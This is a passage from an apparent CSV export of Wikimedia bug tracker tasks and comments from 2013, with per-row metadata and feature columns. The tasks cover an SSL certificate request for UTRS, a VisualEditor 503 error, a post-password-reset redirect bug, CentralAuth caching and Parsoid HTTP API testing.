+**URL**: http://utrs.wmflabs.org/
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=53175",Needs Triage,90.0,1384230840,1388659862.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-jag2rypjyxauvwi4iuft,task_description,declined,True,c2,3,False,False,False,10,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+271847,SSL Certificate for UTRS on wmflabs.org,"No reply - closing as per comment 3. 
+TParis: Please reopen if this is not sufficient.",,,1388659862,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jag2rypjyxauvwi4iuft,task_subcomment,,True,c2,3,True,,,18,True,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+271843,SSL Certificate for UTRS on wmflabs.org,Can this be closed?  We can now use the proxy system to encrypt web traffic.,,,1387482581,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-jag2rypjyxauvwi4iuft,task_subcomment,,True,c2,3,False,,,16,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
+271837,SSL Certificate for UTRS on wmflabs.org,"**tparis.wiki** wrote:
+
+Yes, that's the correct URL.  Yubipanda said he may set up a proxy to encrypt the data instead of an SSL certificate which is fine, but asked me to open this ticket as well.",,,1384259345,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jag2rypjyxauvwi4iuft,task_subcomment,,True,c2,3,False,,,10,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0
+271828,SSL Certificate for UTRS on wmflabs.org,"Please provide more information. 
+http://utrs.wmflabs.org/ probably?
+
+Also see bug 55957 comment 1. Bug 53175 is a similar request.",,,1384255208,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jag2rypjyxauvwi4iuft,task_subcomment,,True,c2,3,True,,,10,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,0,0,1,0,1
+58584,"VisualEditor: ""Error loading data from server:parsoidserver-http-bad-status:503"" shows while attempting to edit using VE","Error message
+
+Steps to reproduce:
+Click on the edit button
+
+Observed Result:
+""Error loading data from server:parsoidserver-http-bad-status:503"" shows while attempting to edit using VE
+
+See the screenshot attached
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F12683}",Needs Triage,90.0,1383598080,1383598243.0,PHID-USER-24djtv3gj5gua2y6u2g5,False,,False,PHID-TASK-72rziu6fsgfsmc5bjdnx,task_description,resolved,True,c2,3,False,False,True,9,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0
+277986,"VisualEditor: ""Error loading data from server:parsoidserver-http-bad-status:503"" shows while attempting to edit using VE","Fallout from fixing bug 56583. Should be okay now.
+
+*** This bug has been marked as a duplicate of bug 56583 ***",,,1383598243,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-72rziu6fsgfsmc5bjdnx,task_subcomment,,True,c2,3,True,,,9,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+59289,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","* 1.23wmf3 (e2e9b85)
+
+Scenario:
+
++ en.wikipedia.org as of 2013-11-20
++ go to ""Reset Password"" page and trigger the I-forgot-my-passwort e-mail-password mail
++ come back to the login page
++ enter the temporary password
++ you are now correctly asked to change your password (=mandatory password change after login with temporary password)
++ after a successful password change you will see
+
+Bug:
+===
+
+page title after successful password change is (still): 
+
+""Change Password""
+
+URL is: 
+
+""https://en.wikipedia.org/w/index.php?title=Special:ChangePassword&returnto=&returntoquery=&fromhttp=1""
+
+with unsuited information on it:
+
+""You must be logged in to access this page directly.""
+
+This is striclty reproducible.
+
+--------------------------
+**Version**: 1.23.0
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=57098
+https://bugzilla.wikimedia.org/show_bug.cgi?id=57065",High,80.0,1384939200,1385149062.0,PHID-USER-ppvnwr24o32pux3le5ov,False,,False,PHID-TASK-jz2kosktxmdbzxu36qjm,task_description,resolved,True,c2,3,False,False,True,12,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,1,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+268514,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change",Tyler: okay. I understand this from a discussion in the chat some minutes ago. ty,,,1385149287,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c2,3,False,,,12,True,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+268513,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","That's because the fix has not been deployed yet. However, the actual bug in question has been resolved in master.",,,1385149062,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,1,1,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+268511,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","In www.mediawiki,org : Not solved
+
+
+After changing the password, see http://i.imgur.com/7ADHPHH.png
+
+URL:
+
+https://www.mediawiki.org/w/index.php?title=Special:ChangePassword&returnto=&returntoquery=&fromhttp=1
+
+Problem is not solved, in my view.",,,1385146958,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+268509,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","Change 96994 merged by MarkAHershberger:
+Fix login with temporary password with $wgSecureLogin = true
+
+https://gerrit.wikimedia.org/r/96994",,,1385136927,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+268506,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","Change 96970 merged by MarkAHershberger:
+Fix login with temporary password with $wgSecureLogin = true
+
+https://gerrit.wikimedia.org/r/96970",,,1385136549,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+268502,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","Change 96994 had a related patch set uploaded by MarkAHershberger:
+Fix login with temporary password with $wgSecureLogin = true
+
+https://gerrit.wikimedia.org/r/96994",,,1385131027,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+268497,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","For the record, the cause of this bug is from Ia0a61e98fbff7 ( https://gerrit.wikimedia.org/r/93425), which introduced WebRequest::getProtocol as an instance method rather than the previous practice of always using WebRequest::detectProtocol, which is static.",,,1385123160,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+268491,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","Change 96970 had a related patch set uploaded by IAlex:
+Fix login with temporary password with $wgSecureLogin = true
+
+https://gerrit.wikimedia.org/r/96970",,,1385113056,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+268484,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","screenshot of the page after successfully having entered the temp.password and 2x the new password:
+
++ http://i.imgur.com/IDNp8W4.png",,,1385102463,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+268477,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","(In reply to comment #5)
+> Is this still happening? I'm not able to reproduce it. Just to confirm,
+> 
+> * I enter my username and temp password, click login
+> * I get the change password form. I'm not logged in. Old password is
+> pre-filled.
+> * I enter in a new password (twice), and click submit.
+> * I'm taken back to Main_Page, and I'm logged in.
+> 
+> Am I missing a step?
+
+Yes, certainly.
+I still can reproduce my findings as in the first comment, and as confirmed by André in https://bugzilla.wikimedia.org/show_bug.cgi?id=57289#c3
+
+
+Please reproduce step-by-step:
+
+
+Scenario:
+
++ en.wikipedia.org as of 2013-11-22
++ go to ""Reset Password"" page and trigger the I-forgot-my-passwort
+e-mail-password mail
++ come back to the login page
++ enter the temporary password
++ you are now correctly asked to change your password (=mandatory password
+change after login with temporary password)
++ after a successful password change you will see
+
+""Change Password"" (=page title)
+""You must be logged in to access this page directly.""
+
+URL is: 
+""https://en.wikipedia.org/w/index.php?title=Special:ChangePassword&returnto=&returntoquery=&fromhttp=1""
+
+This is *strictly* reproducible. Raising severity to ""major"" because it relates to a password issue, which could point to critical bug.",,,1385102235,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+268470,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","Is this still happening? I'm not able to reproduce it. Just to confirm,
+
+* I enter my username and temp password, click login
+* I get the change password form. I'm not logged in. Old password is pre-filled.
+* I enter in a new password (twice), and click submit.
+* I'm taken back to Main_Page, and I'm logged in.
+
+Am I missing a step?",,,1385092299,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c2,3,True,,,12,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+268464,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","> Needed to log in once again. Meh.
+
+just to say it very kindly again in case it has been overlooked:
+> __perhaps_(!)_ the fix of https://bugzilla.wikimedia.org/show_bug.cgi?id=57098 solves this, too.",,,1385071451,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c2,3,False,,,12,True,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+268457,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","Thanks for taking the time to report this!
+
+Confirming:
+
+- logged out
+- went to https://en.wikipedia.org/wiki/Special:PasswordReset
+- enter username
+- Get ""A password reset email has been sent.""
+- Check mail
+- Copy temp password
+- In browser, click ""Log in"" in upper corner which now links to https://en.wikipedia.org/w/index.php?title=Special:UserLogin&returnto=Special%3APasswordReset
+- Enter username and temp password
+- Get ""Change password - You logged in with a temporary emailed code. To finish logging in, you must set a new password here:""
+
+Result:
+- ""Change password - You must be logged in to access this page directly.""
+Needed to log in once again. Meh.",,,1385068639,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c2,3,True,,,12,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+268452,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","(In reply to comment #1)
+> perhaps the fix of https://bugzilla.wikimedia.org/show_bug.cgi?id=57065
+> solves
+> this.
+^wrong
+
+I meant:
+
+See 
+https://bugzilla.wikimedia.org/show_bug.cgi?id=57098 SpecialPasswordReset when called does not obey an optional returnto parameter 
+
+Perhaps the fix of 57098 also solves the present 57289.",,,1384945090,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1
+268447,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change",perhaps the fix of https://bugzilla.wikimedia.org/show_bug.cgi?id=57065 solves this.,,,1384944944,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+59223,CentralAuth $wgSecureLogin redirect is uncacheable,"The redirect added to CentralAuth in Ia1232ac39e8 is effectively uncacheable, since it depends on wfCanIPUseHTTPS(), which can't be varied on in Varnish. The change should probably be reverted. It's essential that /checkLoggedIn be cached if the backend request rate impact of CentralAuth is to be reduced.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1384824300,1385510323.0,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,False,PHID-TASK-qocaqbn25fk7kqu3ild7,task_description,resolved,True,c2,3,False,False,True,11,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+264507,CentralAuth $wgSecureLogin redirect is uncacheable,"Change 96317 merged by jenkins-bot:
+Remove https redirect from CentralAutoLogin
+
+https://gerrit.wikimedia.org/r/96317",,,1385510312,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qocaqbn25fk7kqu3ild7,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+264503,CentralAuth $wgSecureLogin redirect is uncacheable,"As noted on the patch, that should have been a redundant check, so the AutoLogin piece should be cacheable with gerrit 96317.",,,1384891936,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qocaqbn25fk7kqu3ild7,task_subcomment,,True,c2,3,True,,,11,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
+264499,CentralAuth $wgSecureLogin redirect is uncacheable,"Change 96317 had a related patch set uploaded by CSteipp:
+Remove https redirect from CentralAutoLogin
+
+https://gerrit.wikimedia.org/r/96317",,,1384891744,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qocaqbn25fk7kqu3ild7,task_subcomment,,True,c2,3,False,,,11,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+58730,Develop unit tests for the HTTP API,"The current Parsoid unit tests (parserTests.js and friends) use Parsoid as a library directly. This means that the HTTP API code paths are not tested, leadig to issues like https://wikitech.wikimedia.org/wiki/Incident_documentation/20131104-Parsoid .
+
+We should develop some way of unit-testing all the HTTP API endpoints.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=56601",High,80.0,1383849960,1386109290.0,PHID-USER-56wtmb23orq4pu5liyj5,False,,False,PHID-TASK-kh2buy3dptmfowydkqjp,task_description,resolved,True,c2,3,False,False,False,10,True,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+260431,Develop unit tests for the HTTP API,"Resolving this as a duplicate of 56601, which is also about using the HTTP API from roundtrip-test.js.
+
+*** This bug has been marked as a duplicate of bug 56601 ***",,,1386109290,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-kh2buy3dptmfowydkqjp,task_subcomment,,True,c2,3,False,,,13,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,1
+58590,Use the HTTP API in round-trip testing,"Parsoid currently tests parsing and serialiation of content. Currently, testing of the HTTP API wrappers and any issues with libraries and bugs in the endpoints relies on manual testing.
+
+Gaps in manual testing can lead to incidents like this: https://wikitech.wikimedia.org/wiki/Incident_documentation/20131104-Parsoid
+
+So, we need an automated test setup for our HTTP API endpoints.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1383604620,1387828127.0,PHID-USER-slccyo5rqasgpljxny7g,False,,False,PHID-TASK-cfhd53wpntcxcbt4smwr,task_description,resolved,True,c2,3,True,False,False,9,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+278506,Use the HTTP API in round-trip testing,"Change 102011 merged by jenkins-bot:
+Bug 56590: Use the Parsoid HTTP API in round-trip testing
+
+https://gerrit.wikimedia.org/r/102011",,,1387495057,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c2,3,False,,,16,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+278503,Use the HTTP API in round-trip testing,"Change 99348 abandoned by GWicke:
+Bug 56590: Use the Parsoid HTTP API in round-trip testing
+
+Reason:
+Moved to https://gerrit.wikimedia.org/r/#/c/102011/
+
+https://gerrit.wikimedia.org/r/99348",,,1387319737,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c2,3,False,,,15,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+278500,Use the HTTP API in round-trip testing,"Change 102011 had a related patch set uploaded by GWicke:
+Bug 56590: Use the Parsoid HTTP API in round-trip testing
+
+https://gerrit.wikimedia.org/r/102011",,,1387232407,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c2,3,False,,,15,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+278495,Use the HTTP API in round-trip testing,"So far, we've been doing some basic integration testing on a single page (en:Barack_Obama) in a Jenkins job after each commit. While we could fully mock up all API accesses, for large pages like en:Barack_Obama, this would require us to effectively do a capture and replay of all API accesses for those pages (since it is not just wikitext, but also templates, extensions, images, etc. -- some 100s to 1000s of API calls).
+
+Scott does have some basic code for capturing these accesses and dumping them to a file and using that to do a replay (without relying on internet). But, that seems like extra complexity instead of relying on internet access if we really want to do full-page integration testing on a set of N (for small values of N, say 5) pages after each commit.
+
+So, I think the real question is whether we should be doing full page testing in a Jenkins/CI job after each commit or not. If yes, it seems simpler to rely on HTTP.
+
+All that said, we do have a mock MW API server for testing PHP extensions (bug 45440). See parsoid/js/tests/mockAPI.js. Currently, we use this for running parserTests only.",,,1386264518,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c2,3,True,,,14,True,1,0,1,0,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,1,1,1,0,1,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,1
+278488,Use the HTTP API in round-trip testing,"(In reply to comment #12)
+<snip>
+> Thanks for the info, Antoine. Even though we'll be running an independent
+> Parsoid API server when running roundtrip-test.js, that will need internet
+> access to fetch wikitext from the MediaWiki API. I'll open that bug when the
+> code is ready.
+
+Shouldn't you mock the API access?  I mean Parsoid could be injected fixtures with known articles content and use those flat files instead of relying on the remote wiki.   That would save the internet HTTP get and make sure you are testing known value.
+
